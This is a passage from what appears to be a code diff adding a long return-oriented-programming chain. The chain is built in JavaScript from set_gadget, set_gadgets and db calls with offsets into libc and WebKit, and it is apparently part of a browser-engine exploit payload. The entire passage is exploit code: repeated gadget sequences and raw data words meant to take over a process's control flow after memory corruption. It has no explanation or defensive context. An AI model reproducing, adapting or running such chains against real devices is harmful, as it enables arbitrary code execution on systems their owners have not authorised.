0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+513352, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+513464, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+359952, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+513552, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963984, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294963984, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+513680, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+513696, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+513840, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+513808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+513824, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+772328 +]); +db([0, 1073741824]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+513952, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+72932, +libc_base+713278, +ropchain+514048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963984, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294963984, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+514176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+514192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+514336, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+514304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+514320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+514432, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964024, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+514520, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+514536, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+514680, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+514648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+514664, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+514776, +webkit_base+4687784, +libc_base+768796 +]); +db([96, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([96, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+514920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+514936, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+514904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+515072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294964100, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+515160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+515176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+515336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+515368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+515320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+515352, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+515464, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+515448, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+515560, +webkit_base+4687784, +libc_base+713278 +]); +db([4294964140, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+515672, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+362504, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3343406679, 262337]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+515808, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+515896, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+515912, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+516056, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+516024, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+516040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+516128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+516184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+516336, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+516392, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+516464, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+516520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2370588928, 4294962949]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+516672, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+516760, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+516776, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+516920, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+516888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+516904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+516992, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+517048, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([8, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+517200, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+517256, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+517328, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+517384, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2156612095, 4072]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+517536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+517624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+517640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+517784, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+517752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+517768, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+517856, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+517912, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+518064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+518120, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+518192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+518248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([4173842248, 1207959552]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+518400, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+518488, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+518504, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+518648, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+518616, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+518632, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+518720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+518776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([24, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+518928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+518984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+519056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+519112, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2924523661, 3343384999]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+519264, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+519352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+519368, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+519512, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+519480, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+519496, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+519584, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+519640, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([32, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+519792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+519848, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+519920, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+519976, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([706, 2156742656]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+520128, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+520216, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+520232, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+520376, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+520344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+520360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+520448, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+520504, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([40, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+520656, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+520712, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+520784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+520840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3151936, 3797537023]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+520992, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+521080, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+521096, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+521240, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+521208, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+521224, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+521312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+521368, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([48, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+521520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+521576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+521648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+521704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1281318608, 4290643341]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+521856, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+521944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+521960, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+522104, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+522072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+522088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+522176, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+522232, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([56, 0]); +set_gadget(libc_base+772328,); +db([56, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+522384, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+522440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+522512, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+522568, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2336882687, 1040512]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+522720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+522808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+522824, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+522968, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+522936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+522952, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+523040, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+523096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([64, 0]); +set_gadget(libc_base+772328,); +db([64, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+523248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+523304, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+523376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+523432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1200179200, 2337039720]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+523584, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+523672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+523688, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 